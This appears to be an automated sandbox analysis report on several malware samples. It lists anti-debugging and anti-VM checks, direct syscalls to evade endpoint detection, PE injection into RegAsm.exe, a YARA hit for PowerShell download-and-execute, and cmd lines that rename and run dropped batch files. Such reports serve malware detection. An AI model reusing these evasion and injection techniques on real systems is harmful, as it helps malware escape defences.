Source: RegAsm.exe, 00000002.00000002.1934044610.000000000106C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1934044610.000000000102A000.00000004.00000020.00020000.00000000.sdmp, LfiXVL0FmEQ8Z73WgU_xbDtt.exe, 0000000A.00000002.2689647193.000000000110D000.00000004.00000020.00020000.00000000.sdmp, LfiXVL0FmEQ8Z73WgU_xbDtt.exe, 0000000A.00000002.2689647193.00000000010E5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp, simplefreevideocutter32_64.exe, 0000001F.00000002.3073903313.0000000000867000.00000004.00000020.00020000.00000000.sdmp, simplefreevideocutter32_64.exe, 0000001F.00000002.3076164875.0000000003630000.00000004.00000020.00020000.00000000.sdmp, simplefreevideocutter32_64.exe, 0000001F.00000002.3073903313.000000000077E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: RegAsm.exe, 00000015.00000002.3078895750.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0/
Source: SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1
Source: SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.0
Source: RegAsm.exe, 00000002.00000002.1934044610.000000000106C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW]
Source: LfiXVL0FmEQ8Z73WgU_xbDtt.exe, 0000000A.00000002.2567684599.00000000007DF000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: IUqoPnH3eiygxjqgC368dFJD.exe, 00000019.00000002.3080596468.0000000001748000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll_
Source: RegAsm.exe, 00000014.00000002.2601275716.0000000000C1A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 0QrWpVvJO2zQ0CVHYo3FGItE.exe, 0000000E.00000000.1890052659.00000000003C2000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: xctiAjpaQEMUK5VP1YLF

Source: C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\kqS23MOytx.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	File opened: NTICE
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	File opened: SICE
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	File opened: SIWVID

Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Process queried: DebugPort

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00552AF2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

2_2_00552AF2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_00404610 VirtualProtect ?,00000004,00000100,00000000

20_2_00404610

Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe

Code function: 6_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

6_2_004062FC

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00432CC0 mov eax, dword ptr fs:[00000030h]	2_2_00432CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00432CC0 mov eax, dword ptr fs:[00000030h]	2_2_00432CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_00419160 mov eax, dword ptr fs:[00000030h]	20_2_00419160

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0050BC70 lstrlenA,GetProcessHeap,HeapAlloc,lstrcpynA,

2_2_0050BC70

Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process token adjusted: Debug

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0053E9B5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0053E9B5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00552AF2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00552AF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0041C8D9 SetUnhandledExceptionFilter,	20_2_0041C8D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	20_2_0041ACFA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0041A718 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_0041A718
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B37B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_6B37B1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B37B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	20_2_6B37B66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B52AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_6B52AC62

Source: C:\Users\user\Desktop\kqS23MOytx.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: lDkIjEVcMx3R04EqAu4plnem.exe PID: 7988, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: LfiXVL0FmEQ8Z73WgU_xbDtt.exe PID: 8004, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7DyzwtKyuY4CtD_VmEPX58OX.exe PID: 8012, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9AvIIxRx9oZhX7WUPPobrACv.exe PID: 8036, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 352, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7492, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\kqS23MOytx.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe

Code function: 8_2_025A258D CreateProcessA,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,

8_2_025A258D

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	NtProtectVirtualMemory: Direct from: 0x140F68E97
Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	NtProtectVirtualMemory: Direct from: 0x140F6956E
Source: C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe	NtSetInformationThread: Direct from: 0x5000259E
Source: C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe	NtQuerySystemInformation: Direct from: 0x76EF63E1
Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	NtProtectVirtualMemory: Direct from: 0x141793664
Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	NtProtectVirtualMemory: Direct from: 0x1417AFDBF
Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	NtProtectVirtualMemory: Direct from: 0x1417BEF5F
Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	NtUnmapViewOfSection: Direct from: 0x140F70048
Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	NtMapViewOfSection: Direct from: 0x1417AC452
Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	NtProtectVirtualMemory: Direct from: 0x1417A9B34
Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	NtClose: Direct from: 0x140F45943
Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	NtProtectVirtualMemory: Direct from: 0x141821A46
Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	NtOpenFile: Direct from: 0x141792D37
Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	NtProtectVirtualMemory: Indirect: 0x140F2B0BD

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\kqS23MOytx.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Memory written: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Memory written: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe base: 400000 value starts with: 4D5A

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe	Section loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: read write
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: NULL target: unknown protection: read write

Writes to foreign memory regions

Source: C:\Users\user\Desktop\kqS23MOytx.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 56B000	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 58A000	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 592000	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 5D8000	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: BAF008	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 41E000	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 426000	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 63B000	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 63C000	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: BAC008	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 41E000
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42B000
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 63E000
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 81A008
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 41E000
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 426000
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 63B000
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 63C000
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 825008
Source: C:\Windows\SysWOW64\cmd.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 69F31000
Source: C:\Windows\SysWOW64\cmd.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 6B5008

Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Process created: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe "C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe"	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Cashiers Cashiers.bat & Cashiers.bat & exit	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Process created: C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe "C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe"	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Heritage Heritage.bat & Heritage.bat & exit
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 8048 -ip 8048
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 7964 -ip 7964
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8048 -s 832
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7964 -s 876
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Process created: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe "C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe"

Source: U8E1s2EiwXEdPm57PA0VL_iO.exe, 00000006.00000003.1952805240.00000000028F9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: LfiXVL0FmEQ8Z73WgU_xbDtt.exe, LfiXVL0FmEQ8Z73WgU_xbDtt.exe, 0000000A.00000002.2567684599.00000000007DF000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: MeProgram Manager

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0053DDFE cpuid

2_2_0053DDFE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	2_2_00560129
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	2_2_005601D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	2_2_0056021B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	2_2_005602B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	2_2_00560341
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	2_2_0055A3D5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	2_2_00560594
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_005606BD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	2_2_005607C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	2_2_00560899
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	2_2_0055A8A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoEx,FormatMessageA,	2_2_0053F64F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	2_2_0055FF24
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Code function: GetLastError,GetLastError,wsprintfW,GetEnvironmentVariableW,GetEnvironmentVariableW,GetLastError,??2@YAPAXI@Z,GetEnvironmentVariableW,GetLastError,lstrcmpiW,??3@YAXPAX@Z,??3@YAXPAX@Z,SetLastError,lstrlenA,??2@YAPAXI@Z,GetLocaleInfoW,_wtol,MultiByteToWideChar,	7_2_00401F9D
Source: C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe	Code function: GetLocaleInfoA,	9_2_0040515C
Source: C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe	Code function: GetLocaleInfoA,	9_2_004051A8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Desktop\kqS23MOytx.exe	Queries volume information: C:\Users\user\Desktop\kqS23MOytx.exe VolumeInformation	Jump to behavior
